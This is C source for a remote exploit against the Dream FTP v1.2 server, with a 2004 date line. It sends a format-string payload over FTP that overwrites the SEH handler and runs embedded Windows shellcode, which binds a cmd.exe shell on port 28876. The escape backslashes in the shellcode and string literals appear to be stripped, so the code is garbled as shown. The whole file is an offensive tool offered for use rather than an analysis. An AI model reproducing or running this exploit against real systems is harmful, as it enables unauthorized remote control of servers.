#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

// WIN NT/2K/XP cmd.exe shellcode
// kernel32.dll baseaddress calculation: OS/SP-independent
// string-save: 00, 0a and 0d free.
// portbinding: port 28876
// looping: reconnect after disconnect
char* shellcode = 
  "xebx43x56x57x8bx45x3cx8bx54x05x78x01xeax52x8bx52"
  "x20x01xeax31xc0x31xc9x41x8bx34x8ax01xeex31xffxc1"
  "xcfx13xacx01xc7x85xc0x75xf6x39xdfx75xeax5ax8bx5a"
  "x24x01xebx66x8bx0cx4bx8bx5ax1cx01xebx8bx04x8bx01"
  "xe8x5fx5exffxe0xfcx31xc0x64x8bx40x30x8bx40x0cx8b"
  "x70x1cxadx8bx68x08x31xc0x66xb8x6cx6cx50x68x33x32"
  "x2ex64x68x77x73x32x5fx54xbbx71xa7xe8xfexe8x90xff"
  "xffxffx89xefx89xc5x81xc4x70xfexffxffx54x31xc0xfe"
  "xc4x40x50xbbx22x7dxabx7dxe8x75xffxffxffx31xc0x50"
  "x50x50x50x40x50x40x50xbbxa6x55x34x79xe8x61xffxff"
  "xffx89xc6x31xc0x50x50x35x02x01x70xccxfexccx50x89"
  "xe0x50x6ax10x50x56xbbx81xb4x2cxbexe8x42xffxffxff"
  "x31xc0x50x56xbbxd3xfax58x9bxe8x34xffxffxffx58x60"
  "x6ax10x54x50x56xbbx47xf3x56xc6xe8x23xffxffxffx89"
  "xc6x31xdbx53x68x2ex63x6dx64x89xe1x41x31xdbx56x56"
  "x56x53x53x31xc0xfexc4x40x50x53x53x53x53x53x53x53"
  "x53x53x53x6ax44x89xe0x53x53x53x53x54x50x53x53x53"
  "x43x53x4bx53x53x51x53x87xfdxbbx21xd0x05xd0xe8xdf"
  "xfexffxffx5bx31xc0x48x50x53xbbx43xcbx8dx5fxe8xcf"
  "xfexffxffx56x87xefxbbx12x6bx6dxd0xe8xc2xfexffxff"
  "x83xc4x5cx61xebx89";

int main(int argc, char *argv[], char *envp[]) {
  int sock;
  FILE* FILEsock;
  struct sockaddr_in addr;
  int port = 21;
  char buffer[1024];

  if (argc<2 || argc>3) {
    printf("Usage: %s IP [PORT]n", argv[0]);
    exit(-1);
  }
  if (argc == 3) port = atoi(argv[2]);

  printf("- Nightmare --------------------------------------------------n"
         "  Dream FTP v1.2 formatstring exploit.n"
         "  Written by SkyLined <SkyLined@EduP.TUDelft.nl>.n"
         "  Credits for the vulnerability go to badpack3tn"
         "                           <badpack3t@security-protocols.com>.n"
         "  Shellcode based on work by H D Moore (www.metasploit.com).n"
         "  Greets to everyone at 0dd and #netric.n"
         "  (K)(L)(F) for Suzan.n"
         "n"
         "  Binds a shell at %s:28876 if successfull.n"
         "  Tested with: WIN2KEN/Dream FTP v1.2 (1.02/TryFTP 1.0.0.1)n"
         "--------------------------------------------------------------n",
         argv[1]);

  addr.sin_family = AF_INET;
  addr.sin_port = htons(port);
  addr.sin_addr.s_addr = inet_addr(argv[1]);

  if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1 ||
      connect(sock, (struct sockaddr *)&addr, sizeof addr) == -1 ||
      (FILEsock = fdopen(sock, "r+")) == NULL) {
    fprintf(stderr, "n[-] Connection to %s:%d failed: ", argv[1], port);
    perror(NULL);
    exit(-1);
  }

  printf("n[+] Connected to %s:%d.n", argv[1], port);
  do printf("  --> %s", fgets(buffer, sizeof buffer, FILEsock));
    while (strstr(buffer, "220-") == buffer);

  printf("n[+] Sending exploit string...n");
  fprintf(FILEsock,
    // Argument 10 points to the SEH handler code, it's RWE so we'll change
    // the SEH handler to redirect execution to the beginning of our
    // formatstring. When the SEH handler is called [ebx+0x3c] points
    // to the start of our formatstring, we just have to jump over the
    // formatstring exploit itself to our shellcode:
    "xebx29" // Jump over the formatstring exploit
    "%%8x%%8x%%8x%%8x%%8x%%8x%%8x%%8x%%%dd%%n"     // Argument 10 -> SEH
    "%%n" // Causes exception after SEH adjustment.
    "@@@@@@@@" // nopslide landing zone for jump
    "%srn", // shellcode
    0x3C63FF-0x4f, // New SEH code = 0x3C63FF (jmp *0x3c(%ebx) | jmp [EBX+0x3C])
    shellcode);
  fflush(FILEsock); 
  close(sock);
  printf("n[+] Done, allow a few seconds on a slow target before you cann"
           "    connect to %s:28876.n", argv[1]);
  return 0;
}

// www.Syue.com [2004-02-11]